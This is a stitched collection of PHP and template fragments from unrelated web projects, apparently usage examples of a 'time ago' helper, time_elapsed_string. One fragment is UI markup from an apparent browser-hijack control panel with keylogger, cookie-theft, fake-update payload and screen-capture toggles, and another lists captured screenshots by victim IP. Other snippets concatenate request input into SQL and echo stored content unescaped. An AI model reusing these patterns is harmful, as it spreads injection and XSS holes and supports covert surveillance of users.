echo $result['c_id']; ?> );"><?php echo $result['c_name']; ?> </a></td> <td><?php echo $result['s_title']; ?> </td> <td><?php echo $result['leadStatus']; ?> </td> <td><?php echo $result['c_quality']; ?> </td> <td><?php echo time_elapsed_string($result['postedDate']); ?> </td> <td><?php echo $result['ref_user_id']; ?> </td> </tr> <?php } ?> </table>
public function getUpdateTimeAttribute() { if ($this->updated_at != NULL) { return time_elapsed_string($this->updated_at); } return ''; }
public function add() { if ($this->session->userdata('id') != '') { $user_id = $this->session->userdata('id'); } else { $user_id = 0; } if ($this->session->userdata('id') != '') { $user_name = $this->session->userdata('username'); } else { $user_name = ''; } //adding notes in project notes $time_ago = time_elapsed_string(strtotime(date("Y-m-d H:i:s"))); $data_notes = array('news_id' => $this->input->post('news_id'), 'comment' => $this->input->post('news_comment'), 'comment_by' => $user_id, 'created_date' => date("Y-m-d H:i:s")); if ($this->comment_model->add_comment($data_notes, TRUE)) { $response = array('status' => 'success', 'msg' => 'Your notes has been successfully added', 'comment' => $this->input->post('news_comment'), 'username' => $user_name, 'time' => $time_ago); echo json_encode($response); die; } else { $response = array('status' => 'fail', 'msg' => 'Oops!Something Wrong!'); echo json_encode($response); die; } }
public function timeElapsed() { if ($this->value) { return time_elapsed_string($this->value); } return null; }
public function index() { $news_list = $this->news_model->get_all(); foreach ($news_list as $key => $val) { $news_list[$key]['time_ago'] = time_elapsed_string(strtotime($val['created_date'])); } $data['news_list'] = $news_list; $this->template->load('admin_default', 'news/index', $data); }
public function index() { $news_list = $this->news_model->get_all(); foreach ($news_list as $key => $val) { $news_list[$key]['time_ago'] = time_elapsed_string(strtotime($val['created_date'])); } $user_id = $this->session->userdata('id'); $data['news_list'] = $news_list; $data['products'] = $this->products_model->getfrom('products_new'); $data['projects'] = $this->products_model->getfrom('projects', false, array('where' => array('priority' => '1'))); $this->template->load('admin_default', 'dashboard/index', $data); }
public function topic_detail($topicId) { $topic = Topic::find($topicId); $topic->author; $topic->remain_time = time_remain_string(strtotime($topic->deadline)); $topic->time_create = time_elapsed_string(strtotime($topic->created_at)); $topic->submits = count(array_unique($topic->products->pluck('author_id')->toArray())); $topic->all_products = $topic->products()->orderBy('created_at', 'desc')->get(); foreach ($topic->all_products as &$product) { $product->liked = isset($this->user) && $this->user->likes()->where('product_id', $product->id)->count() > 0; $product->author->url = url('profile/' . get_first_part_of_email($product->author->email)); $product->created_time = time_elapsed_string(strtotime($product->created_at)); $product->author->avatar_url = $product->author->avatar_url != null ? $product->author->avatar_url : url('img/user.png'); $product->count_likes = $product->likes()->count(); $product->count_comments = $product->comments()->count(); $product->link = url('post/colormevn-' . convert_vi_to_en($product->description) . '?id=' . $product->id); } unset($topic->products); return response()->json($topic, 200); }
public function transform($notification) { $data = ['id' => $notification->id, 'receiver' => ['id' => $notification->receiver->id, 'avatar_url' => $notification->receiver->avatar_url == null ? url('img/user.png') : $notification->receiver->avatar_url, 'name' => $notification->receiver->name, 'username' => $notification->receiver->username], 'actor' => ['id' => $notification->actor->id, 'avatar_url' => $notification->actor->avatar_url == null ? url('img/user.png') : $notification->actor->avatar_url, 'name' => $notification->actor->name, 'username' => $notification->actor->username], 'created_at' => time_elapsed_string(strtotime($notification->created_at)), 'seen' => $notification->seen == 1]; if ($notification->type <= 2 && $notification->type >= 0) { // if ($notification->product == null) { // $notification->delete(); // } $data['product'] = ['id' => $notification->product->id, 'linkId' => $notification->product->name ? convert_vi_to_en($notification->product->name) . "-" . $notification->product->id : "bai-tap-colorme-" . $notification->product->id]; } else { if ($notification->type == 3 || $notification->type == 4) { $data['transaction'] = ['id' => $notification->transaction->id, 'status' => $notification->transaction->status, 'money' => currency_vnd_format($notification->transaction->money)]; if ($notification->transaction->status != 0 && $notification->type == 3) { $notification->type = 4; $notification->save(); } } else { if ($notification->type == 5) { $data['topic'] = ['id' => $notification->topic->id]; } } } $data['type'] = notification_type($notification->type); return $data; }
?> </p> </div> </div> </div> <?php } ?> <div class="row"> <div class="tiny-12 small-12 medium-6 large-6"> <h1>Profile</h1> </div><!-- .small-6 --> <div class="tiny-12 small-12 medium-6 large-6 end-medium"> <h1>Joined <i><?php echo time_elapsed_string($user['created_at']); ?> </i></h1> </div><!-- .small-6 --> </div><!-- .row --> <hr> <?php echo form_open(); ?> <div class="row"> <div class="medium-6 small-12 tiny-12"> <div class="form-group"> <label for="username">Username</label>
/** * Returns a simple page. * * @return array * A simple renderable array. */ public function questions_list() { //Function to get the time ago function time_elapsed_string($ptime) { $etime = time() - $ptime; if ($etime < 1) { return '0 seconds'; } $a = array(365 * 24 * 60 * 60 => 'year', 30 * 24 * 60 * 60 => 'month', 24 * 60 * 60 => 'day', 60 * 60 => 'hour', 60 => 'minute', 1 => 'second'); $a_plural = array('year' => 'years', 'month' => 'months', 'day' => 'days', 'hour' => 'hours', 'minute' => 'minutes', 'second' => 'seconds'); foreach ($a as $secs => $str) { $d = $etime / $secs; if ($d >= 1) { $r = round($d); return $r . ' ' . ($r > 1 ? $a_plural[$str] : $str) . ' ago'; } } } $config = $this->config('questions.settings'); global $base_url; $account = \Drupal::currentUser(); $content_array = array(); if ($account->id()) { $content_array["add_url"] = $base_url . "/node/add/question/"; } //$questions_count_query = db_query("SELECT `nid` FROM `node` where `type`='". $config->get('content_type') . "'")->fetchAll(); //$que_count = count($questions_count_query); $questions_count_query = db_query("SELECT node.nid\n\t\tFROM node\n\t\tJOIN node_field_data\n\t\tON node.nid=node_field_data.nid\n\t\tWHERE node.type='" . $config->get('content_type') . "'\n\t\tAND node_field_data.status > 0\n\t\t")->fetchAll(); $que_count = count($questions_count_query); // $to is the Number of itmes in single page $to = 10; if (isset($_GET['page_no']) && $_GET['page_no'] > 0) { $from = $to * ($_GET['page_no'] - 1); } else { $from = 0; } //$questions_query = db_query("SELECT `nid` FROM `node` WHERE `type`='". $config->get('content_type') ."' ORDER BY `nid` DESC LIMIT ". $from .",". $to); //$questions_query = db_query("SELECT `nid` FROM `node` WHERE `type`='". $config->get('content_type') ."' ORDER BY `nid` DESC"); $questions_query = db_query("SELECT node.nid\n\t\tFROM node\n\t\tJOIN node_field_data\n\t\tON node.nid=node_field_data.nid\n\t\tWHERE node.type='" . $config->get('content_type') . "' \n\t\tAND node_field_data.status > 0\n\t\tORDER BY `nid` DESC LIMIT " . $from . "," . $to); $all_data = $questions_query->fetchAll(); if (count($all_data) > 0) { foreach ($all_data as $key => $value) { $node = node_load($value->nid, $reset = FALSE); $status = $node->status->value; if ($status > 0) { $question_title = $node->title->value; $user_id = $node->uid->target_id; $submitted_date = date('Y-m-d H:i:s', $node->created->value); $user = user_load($node->uid->target_id, $reset = FALSE); $user_name = $user->name->value; $submitted_time_ago = time_elapsed_string(strtotime($submitted_date)); $ans_cout_query = db_query("SELECT `cid` FROM `comment_field_data` where `pid` IS NULL AND `entity_id`='" . $value->nid . "' AND `status`='1'"); $ans_cout = 0; foreach ($ans_cout_query as $key1 => $value1) { $ans_cout++; } $content_array["list"][] = array("vote" => 0, "answer" => $ans_cout, "nodeurl" => $base_url . "/node/" . $value->nid, "nodetitle" => $question_title, "answeredbyurl" => $base_url . "/user/" . $user_id, "answeredbyname" => $user_name, "time" => $submitted_time_ago); } } } else { return drupal_set_message(t("Page not found."), 'error'); } $round = round($que_count / $to); $actual = $que_count / $to; if ($actual > $round) { $loop_count = $round + 1; } else { $loop_count = $round; } for ($i = 1; $i <= $loop_count; $i++) { $pages[] = array("title" => $i, "url" => $base_url . "/questions/?page_no=" . $i); } $content_array["pages"] = $pages; $prev = $_GET['page_no'] - 1; $next = $_GET['page_no'] + 1; $content_array["prev"] = $base_url . "/questions/?page_no=" . $prev; $content_array["next"] = $base_url . "/questions/?page_no=" . $next; $content_array["current"] = $_GET['page_no']; $content_array["page_count"] = $loop_count; // echo "<pre>"; // print_r($content_array); // exit; $element['#attached']['library'][] = 'questions/questions-validation'; $element[] = array('#theme' => 'questions_list', '#content' => $content_array); return $element; }
if ($activity_feed->image != '') { ?> <div class="activity_image_div"><img src="<?php echo file_path("", $activity_feed->image, 'NoImageAvailable.jpg', 'uploads/default/'); ?> "/></div> <?php } ?> <div class="innerContent fli"> <h3><?php echo '<span class="activity_from">' . $activity_feed->from . '</span>' . ' ' . $activity_feed->title; ?> </h3> <span class="timeLog"><?php echo time_elapsed_string($activity_feed->date_time); ?> </span> <?php if (!empty($activity_feed->link)) { ?> <?php if ($activity_feed->child_id == $selected_child_id) { ?> <p class="desc"><a href="<?php echo site_url($activity_feed->link); echo !empty($activity_feed->child_id) ? '?child=' . $activity_feed->child_id : ''; ?> " getlink="<?php echo site_url($activity_feed->link);
</div> <div class="panel-body"> <?php if ($pendingReserves) { ?> <ul class="list-group"> <?php foreach ($pendingReserves as $res) { ?> <li class="list-group-item"> <b><?php echo anchor('request-view', $res['item'], array('id' => $res['id'])); ?> </b> <span class="myinfo alert-warning"><?php echo time_elapsed_string($res['dt_request']); ?> </span> <span class="badge alert-danger"><?php echo $statusList[$res['status']]; ?> </span> </li> <?php } ?> </ul> <?php echo anchor('res-reserves', 'View all →'); ?> <?php
<?php $page_limit = 5; $sql = "SELECT date, title, content, status, message_id FROM user_notifications WHERE id = {$getID} ORDER BY date DESC LIMIT {$page_limit} ;"; $stmt = $mysqli->query($sql); if ($stmt->num_rows > 0) { // output data of each row while ($row = $stmt->fetch_assoc()) { echo '<div class="strip" id="' . $row['message_id'] . '">'; if ($row['status'] == 1) { echo '<a href="' . $mypath . 'html/user_message_detail.php?m_id=' . $row['message_id'] . '" class="mess_block">'; } else { echo '<a href="' . $mypath . 'html/user_message_detail.php?m_id=' . $row['message_id'] . '" class="mess_block new_mess">'; } $ago_time = time_elapsed_string(htmlentities($row['date'])); echo '<div class="mess_date "> ' . $ago_time . ' | ' . $row['date'] . '</div> <div class="mess_title "><strong>' . substr($row["title"], 0, 100) . '</strong></div> <div class="mess_body ">' . substr($row["content"], 0, 205) . '...</div> <div onclick="deletemessage(' . $row['message_id'] . ')" class="message_dismiss"> x </div> </a> </div>'; } if ($stmt->num_rows < $page_limit) { echo '<div class="grey_text_placeholder" > <span><div class="no_mail_icon"></div>You have no more messages in your inbox.</span></div>'; } } else { echo '<div class="grey_text_placeholder" > <span><div class="no_mail_icon"></div>You have no messages in your inbox.</span></div>'; } ?>
<?php $config->styles->add($config->urls->templates . 'css/leaflet.css'); $config->scripts->add($config->urls->templates . 'js/leaflet-src.js'); $latitude = str_replace(',', '.', $page->latitude); $longitude = str_replace(',', '.', $page->longitude); $nearnodes = umkreissuche("node", $page->latitude, $page->longitude, 5); $marker = ''; foreach ($nearnodes as $node) { $marker .= "L.circle([" . str_replace(',', '.', $node->latitude) . "," . str_replace(',', '.', $node->longitude) . "], 10,{\n color:'blue',\n fillColor:" . ($page->online == 1 ? "'green'" : "'red'") . "\n }).addTo(map)\n .bindPopup('<a href=\"" . $node->httpUrl . "\">{$node->subtitle}</a><br>" . getDistance($node->dist) . " entfernt');"; } $script = "<script>\n var map = L.map('map').setView([{$latitude}, {$longitude}], 16);\n\n L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {\n maxZoom: 19,\n attribution: '© <a href=\"http://www.openstreetmap.org/copyright\">OpenStreetMap</a>'\n }).addTo(map);\n\n L.circle([{$latitude}, {$longitude}], 10, {\n color:" . ($page->online == 1 ? "'green'" : "'red'") . ",\n fillColor: " . ($page->online == 1 ? "'green'" : "'red'") . "\n }).addTo(map);\n\n {$marker}\n\n map.invalidateSize();\n </script>"; $page->losttime = time_elapsed_string($page->getUnformatted('lastseen')); $content = renderPage();
* These two variables are provided for context: * - $comment: Full comment object. * - $node: Node object the comments are attached to. * * Other variables: * - $classes_array: Array of html class attribute values. It is flattened * into a string within the variable $classes. * * @see template_preprocess() * @see template_preprocess_comment() * @see template_process() * @see theme_comment() * * @ingroup themeable */ $since_created = time_elapsed_string($comment->created); ?> <div class="<?php print $classes; ?> clearfix"<?php print $attributes; ?> > <div class="content <?php if ($new) { ?> new<?php } ?> "<?php
<div class="widget widget_tweets"> <h4 class="widget-title"><?php echo $langs['latest_news']; ?> </h4> <ul id="twitter"> <?php foreach ($news as $item) { ?> <li> <span><?php echo $item['text']; ?> </span> <b><a href="#"><?php echo time_elapsed_string($item['date_created']); ?> </a></b> </li> <?php } ?> </ul> </div> <?php } ?> </aside> </div>
Instructor : <b><?php echo $row['FirstN'] . " " . $row['LastN']; ?> </b> </div> <div class="title"> Message: </div> </div> <div class="time"> <div class="date"><?php echo date_format($date, "M d, Y"); ?> </div> <div> <?php echo time_elapsed_string($row['date']); ?> </div> </div> <div style="padding: 0px 30px 10px;background-color: "> <?php echo $row['message']; ?> </div> </div> <br> <div class="clearfix"></div> <?php } }
echo get_author_posts_url($userId); ?> "> <?php echo $user_info->user_login; ?> </a> <a href="<?php echo get_author_posts_url($userId); ?> "> <span>@<?php echo $user_info->user_login; ?> - <?php echo time_elapsed_string($post_notification_time); ?> </span></a> <?php if ($post_like == like) { ?> <strong><a href="<?php echo get_permalink($postIds); // echo get_tag_link($tagid); ?> ">Is praying for #<?php echo $tagname; ?> post</a></strong> <?php
<td><?php echo $value["browser_ver"]; ?> </td> <?php echo html_option($value["client_id"], "keylogger", $value["keylogger"]); ?> <?php echo html_option($value["client_id"], "cookies", $value["cookies"]); ?> <? if(empty($value["payload_url"])) echo html_option($value["client_id"], "no_payload", "Payload URL not set"); else echo html_option($value["client_id"], "fake_update", $value["fake_update"]); ?> <?php echo html_option($value["client_id"], "screen_capture", $value["screen_capture"], $value["scr_cap_interval"]); ?> <td><?php echo time_elapsed_string($value["first_added"]); ?> </td> <td><a href="settings.php?cid=<?php echo $value["client_id"]; ?> "><p class="text-purple"><b>Settings</b></p></a></td> </tr> <? } ?> </tbody></table> </div><!-- /.box-body --> </div><!-- /.box --> </div><!-- /.col --> </div><!-- /.row -->
</div> </div> <div class='body'> <?php echo $u_key['description']; ?> </div> </li> <?php if (!empty($u_key['id'])) { $CI =& get_instance(); $CI->load->model('news_model'); $result = $CI->news_model->get_comments($u_key['id']); foreach ($result as $key => $val) { $result[$key]['time_ago'] = time_elapsed_string(strtotime($val['created_date'])); } foreach ($result as $key) { ?> <!-- comment start --> <li class='message' style='margin-left:5%'> <div class='name-and-time'> <div class='name pull-left'> <small> <a class="text-contrast" href="javascript:void(0);"><h4><?php echo $key['username']; ?> </h4></a> </small> <small>
<!-- timeline time label --> <li class="time-label"> <span class="bg-red"> <?php echo $data["ip"]; ?> </span> </li> <!-- /.timeline-label --> <!-- timeline item --> <li> <i class="fa fa-camera-retro bg-purple"></i> <div class="timeline-item"> <span class="time"><i class="fa fa-clock-o"></i> <?php echo time_elapsed_string($data["time"]); ?> </span> <h3 class="timeline-header"><a href="<?php echo $data["website"]; ?> "><?php echo $data["website"]; ?> </a> captured! | To view image in full resolution click <a href="<?php echo $config["path"]; ?> capture/scr/<?php echo $data["image_id"]; ?> .png" target="_blank">here</a></h3>
// user's custom message $message = $obj['data'][$x]['message']; // picture from the link $picture = $obj['data'][$x]['picture']; $picture_url_arr = explode('&url=', $picture); $picture_url = urldecode($picture_url_arr[1]); // link posted $link = $obj['data'][$x]['link']; // name or title of the link posted $name = $obj['data'][$x]['name']; $description = $obj['data'][$x]['description']; $type = $obj['data'][$x]['type']; // when it was posted $created_time = $obj['data'][$x]['created_time']; $converted_date_time = date('Y-m-d H:i:s', strtotime($created_time)); $ago_value = time_elapsed_string($converted_date_time); // from $page_name = $obj['data'][$x]['from']['name']; // useful for photo $object_id = $obj['data'][$x]['object_id']; echo "<div class='row'>"; echo "<div class='col-md-4'>"; echo "<div class='profile-info'>"; echo "<div class='profile-photo'>"; echo "<img src='{$profile_photo_src}' />"; echo "</div>"; echo "<div class='profile-name'>"; echo "<div>"; echo "<a href='https://fb.com/{$fb_page_id}' target='_blank'>{$page_name}</a> "; echo "shared a "; if ($type == "status") {
<div class="gamelistitem panel panel-default"> <div class="panel-heading"> <div class="direct-link-wrapper"> <a class="direct-link" href="<?php echo htmlspecialchars($link); ?> ">Link</a> </div> <h3 class="panel-title"><?php echo htmlspecialchars($title); ?> </h3> </div> <div class="panel-body"> <p class="ago"><?php echo htmlspecialchars(time_elapsed_string($starttime)); ?> </p> <dl class="clearfix"> <dt>Start</dt><dd><?php echo htmlspecialchars($starttime); ?> </dd> <dt>End</dt><dd><?php echo htmlspecialchars($endtime); ?> </dd> <dt>Duration</dt><dd><?php echo htmlspecialchars($duration); ?> </dd>
public function transform($comment) { return ['id' => $comment->id, "commenter" => ['id' => $comment->commenter->id, 'avatar_url' => $comment->commenter->avatar_url ? $comment->commenter->avatar_url : url('img/user.png'), 'name' => $comment->commenter->name, 'url' => url('profile/' . $comment->commenter->username)], 'product' => ['author' => ['id' => $comment->product->author->id]], 'content' => $comment->content, 'created_at' => time_elapsed_string(strtotime($comment->created_at))]; }
<div class="status"> <div class="pull-left"> <img src="<?php echo $image_url; ?> " /> </div> <h3 style="margin-top: 10px;"><a href="//<?php echo $account->GetUsername(); ?> .<?php echo $domain; ?> /"><?php echo $account->GetNickname(); ?> </a> <small>sent this request <?php echo time_elapsed_string($row['added_on_secs']); ?> ago...</small> <br/><button class="btn btn-mini btn-success" style="margin-top:10px;" onclick="AcceptFriend('<?php echo $account->GetUsername(); ?> ')">Accept?</button> <button class="btn btn-mini btn-danger" style="margin-top:10px;" onclick="DenyFriend('<?php echo $account->GetUsername(); ?> ')">Deny?</button></h3> </div> <?php } } $q->free();
?> </h1> </div><!-- .small-6 --> <div class="tiny-12 small-12 medium-6 large-6 end-medium"> <div class="output"> <a href="#" title="Print document"><svg height="18px" version="1.1" viewBox="0 0 20 18" width="20px" xmlns="http://www.w3.org/2000/svg" xmlns:sketch="http://www.bohemiancoding.com/sketch/ns" xmlns:xlink="http://www.w3.org/1999/xlink"><title/><desc/><defs/><g fill="none" fill-rule="evenodd" id="Page-1" stroke="none" stroke-width="1"><g fill="#000000" id="Core" transform="translate(-254.000000, -339.000000)"><g id="print" transform="translate(254.000000, 339.000000)"><path d="M17,5 L3,5 C1.3,5 0,6.3 0,8 L0,14 L4,14 L4,18 L16,18 L16,14 L20,14 L20,8 C20,6.3 18.7,5 17,5 L17,5 Z M14,16 L6,16 L6,11 L14,11 L14,16 L14,16 Z M17,9 C16.4,9 16,8.6 16,8 C16,7.4 16.4,7 17,7 C17.6,7 18,7.4 18,8 C18,8.6 17.6,9 17,9 L17,9 Z M16,0 L4,0 L4,4 L16,4 L16,0 L16,0 Z" id="Shape"/></g></g></g></svg> Print</a> <a href="#" title="Share document on social media"><svg enable-background="new 0 0 64 64" height="18px" id="Layer_1" version="1.1" viewBox="0 0 64 64" width="18px" xml:space="preserve" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><path d="M48,39.26c-2.377,0-4.515,1-6.033,2.596L24.23,33.172c0.061-0.408,0.103-0.821,0.103-1.246c0-0.414-0.04-0.818-0.098-1.215 l17.711-8.589c1.519,1.609,3.667,2.619,6.054,2.619c4.602,0,8.333-3.731,8.333-8.333c0-4.603-3.731-8.333-8.333-8.333 s-8.333,3.73-8.333,8.333c0,0.414,0.04,0.817,0.098,1.215l-17.711,8.589c-1.519-1.609-3.666-2.619-6.054-2.619 c-4.603,0-8.333,3.731-8.333,8.333c0,4.603,3.73,8.333,8.333,8.333c2.377,0,4.515-1,6.033-2.596l17.737,8.684 c-0.061,0.407-0.103,0.821-0.103,1.246c0,4.603,3.731,8.333,8.333,8.333s8.333-3.73,8.333-8.333C56.333,42.99,52.602,39.26,48,39.26 z"/></svg> Share</a> <a href="#" title="Export docuemnt to pdf, docx and more"><svg height="18px" version="1.1" viewBox="0 0 24 24" width="18px" xmlns="http://www.w3.org/2000/svg" xmlns:sketch="http://www.bohemiancoding.com/sketch/ns" xmlns:xlink="http://www.w3.org/1999/xlink"><title/><desc/><defs/><g fill="none" fill-rule="evenodd" id="miu" stroke="none" stroke-width="1"><g id="Artboard-1" transform="translate(-326.000000, -406.000000)"><g id="slice" transform="translate(215.000000, 119.000000)"/><path d="M334.052903,410.825777 L331.514719,413.363961 L330.100505,411.949747 L335.050253,407 L340,411.949747 L338.585786,413.363961 L336.05134,410.829515 L336.05134,421.999501 L334.052903,421.999501 L334.052903,410.825777 Z M327,430 L343,430 L343,414 L340,414 L340,416 L341,416 L341,428 L329,428 L329,416 L330,416 L330,414 L327,414 L327,430 Z" fill="#000000" id="common-share-action-glyph"/></g></g></svg> Export</a> </div> </div><!-- .small-6 --> </div><!-- .row --> <hr> <h3>Last updated <?php echo time_elapsed_string($document['updated_at']); ?> </h3> <div class="row"> <div class="tiny-12 small-6 medium-5 large-5"> <h2>Status</h2> <div class="form-group"> <select name="status"> <option value="1" <?php if ($document['status'] == 1) { echo "selected"; } ?> >Draft</option>
public function PrintAsHTML($style_addition = '') { global $parser, $_loggedin, $domain, $_loginaccount, $__server_time; $parser->parse($this->content); $username = $this->account->GetUsername(); $own_post = $_loggedin && ($this->account_id == $_loginaccount->GetID() || $_loginaccount->IsRankOrHigher(RANK_MODERATOR)); $reply_info = $this->reply_to == NULL ? NULL : $this->GetReplyInfo($this->reply_to); $object_id = GetUniqueID(); if (strpos($this->character, ':') === false) { $this->character = 'gms:' . $this->character; } $tmp = explode(':', $this->character); $main_char = $tmp[1]; $locale = $tmp[0]; $account_rank = $this->account->GetAccountRank(); ?> <div class="status<?php echo $this->override == 1 ? ' notification' : ''; echo $style_addition; ?> " status-id="<?php echo $this->id; ?> " unique-id="<?php echo $object_id; ?> "> <div class="header"> <?php MakePlayerAvatar($main_char, $locale, array('face' => $this->using_face)); ?> <br /> <p> <a href="//<?php echo $username; ?> .mapler.me/"><?php echo $this->nickname; ?> </a> <span class="faded">(@<?php echo $username; ?> )</span> <?php if ($account_rank >= RANK_MODERATOR) { ?> <span class="ct-label"><i class="icon-star"></i> <?php echo GetRankTitle($account_rank); ?> </span> <?php } if ($this->blog !== 0) { ?> <span class="ct-label"><i class="icon-bullhorn"></i> Blog Post</span> <?php } ?> </p> </div> <br /> <div class="status-contents"> <?php echo $parser->getAsHtml(); ?> </div> <div class="status-extra" style="clear:both;"> <?php if ($reply_info != NULL) { ?> <a href="//mapler.me/stream/status/<?php echo $reply_info['id']; ?> " style="float: left;" class="reply-to">Replied to <?php echo $reply_info['nickname']; ?> <i class="icon-chevron-right"></i></a> <?php } if ($_loggedin) { ?> <a href="#post" role="button" data-toggle="modal" class="mention" status-id="<?php echo $this->id; ?> " poster="<?php echo $username; ?> " mentions="<?php echo implode(';', $this->mention_list); ?> "><i class="icon-share-alt"></i> Reply (<span class="status-reply-count"><?php echo $this->reply_count; ?> </span>)</a> <?php } ?> <a href="//<?php echo $domain; ?> /stream/status/<?php echo $this->id; ?> " status-post-time="<?php echo $__server_time - $this->seconds_since; ?> " class="status-time"><?php echo time_elapsed_string($this->seconds_since); ?> ago</a> <?php if ($_loggedin) { if ($own_post) { ?> <a href="#" class="deletestatus" onclick="return false;"><i class="icon-remove"></i></a> <?php } ?> <a href="//<?php echo $domain; ?> /report/status/<?php echo $this->id; ?> " class="reportstatus"><i class="icon-flag"></i></a> <?php } ?> </div> <div class="reply-list" status-id="<?php echo $this->id; ?> " unique-id="<?php echo $object_id; ?> "></div> </div> <?php }
<?php if (!empty($_POST[id])) { session_start(); } if (!empty($_POST[id])) { include "bd.php"; } if (!empty($_POST[id])) { $nid = htmlspecialchars($_POST[id], ENT_QUOTES); } else { $nid = $news[abb]; } $sql_news = mysql_query("SELECT id FROM news WHERE abb='{$nid}'"); if (mysql_num_rows($sql_news) > 0) { $nn = mysql_fetch_array($sql_news); $sql_comm = mysql_query("SELECT * FROM comments WHERE nid='{$nn['id']}' ORDER BY id DESC"); if (mysql_num_rows($sql_comm) > 0) { $com = mysql_fetch_array($sql_comm); do { $sql_user = mysql_query("SELECT name FROM userlist WHERE id='{$com['uid']}'"); $user = mysql_fetch_array($sql_user); $mago = time_elapsed_string($com['date'] . ' ' . $com['time'], $lang); echo '<table style="margin-bottom:3em;"><tr><td style="width:15%">' . $user[name] . '</td><td style="font-size:0.9em;color:#666"><div style="color:#787878;font-size:0.7em">' . $mago . '</div>' . $com[message] . '</td></tr></table>'; } while ($com = mysql_fetch_array($sql_comm)); } }
<div class="gamelistitem panel panel-default"> <div class="panel-heading"> <div class="direct-link-wrapper"> <a class="direct-link" href="<?php echo htmlspecialchars($link); ?> ">Link</a> </div> <h3 class="panel-title"><?php echo htmlspecialchars($title); ?> </h3> </div> <div class="panel-body"> <p class="ago"><?php echo htmlspecialchars(time_elapsed_string($endtime)); ?> </p> <dl class="clearfix"> <dt>Start</dt><dd><?php echo htmlspecialchars($starttime); ?> </dd> <dt>End</dt><dd><?php echo htmlspecialchars($endtime); ?> </dd> <dt>Duration</dt><dd><?php echo htmlspecialchars($duration); ?> </dd>
public function store_comment(Request $request) { $comment_content = $request->comment_content; $product_id = $request->product_id; //send one notifcation to author if (Product::find($product_id)->author->id != $this->user->id) { $notification = new Notification(); $notification->product_id = $request->product_id; $notification->actor_id = $this->user->id; $notification->receiver_id = Product::find($product_id)->author->id; $notification->type = 1; $notification->save(); $data = array("message" => $notification->actor->name . " đã bình luận về bài viết của bạn", "link" => url('bai-tap-colorme?id=' . $notification->product_id), 'created_at' => format_date_full_option($notification->created_at), "receiver_id" => $notification->receiver_id); $publish_data = array("event" => "notification", "data" => $data); Redis::publish('colorme-channel', json_encode($publish_data)); } $product = Product::find($product_id); $already_sent_noti = array(); //send to all others that involve in the post foreach ($product->comments as $comment) { $commenter_id = $comment->commenter_id; if ($product->author->id != $commenter_id && $commenter_id != $this->user->id && !in_array($commenter_id, $already_sent_noti)) { $notification = new Notification(); $notification->product_id = $request->product_id; $notification->actor_id = $this->user->id; $notification->receiver_id = $commenter_id; $notification->type = 2; $notification->save(); $data = array("message" => $notification->actor->name . " cũng đã bình luận về bài viết mà bạn đã bình luận", "link" => url('bai-tap-colorme?id=' . $notification->product_id), 'created_at' => format_date_full_option($notification->created_at), "receiver_id" => $notification->receiver_id); $publish_data = array("event" => "notification", "data" => $data); Redis::publish('colorme-channel', json_encode($publish_data)); $already_sent_noti[] = $commenter_id; } } $comment = new Comment(); $comment->product_id = $product_id; $comment->commenter_id = $this->user->id; $comment->content = $comment_content; $comment->save(); $view = View::make('components.comment_item', ['comment' => $comment]); $contents = $view->render(); $publish_data = array("event" => "comment", "data" => $contents); Redis::publish('colorme-channel', json_encode($publish_data)); return time_elapsed_string(strtotime($comment->created_at)); }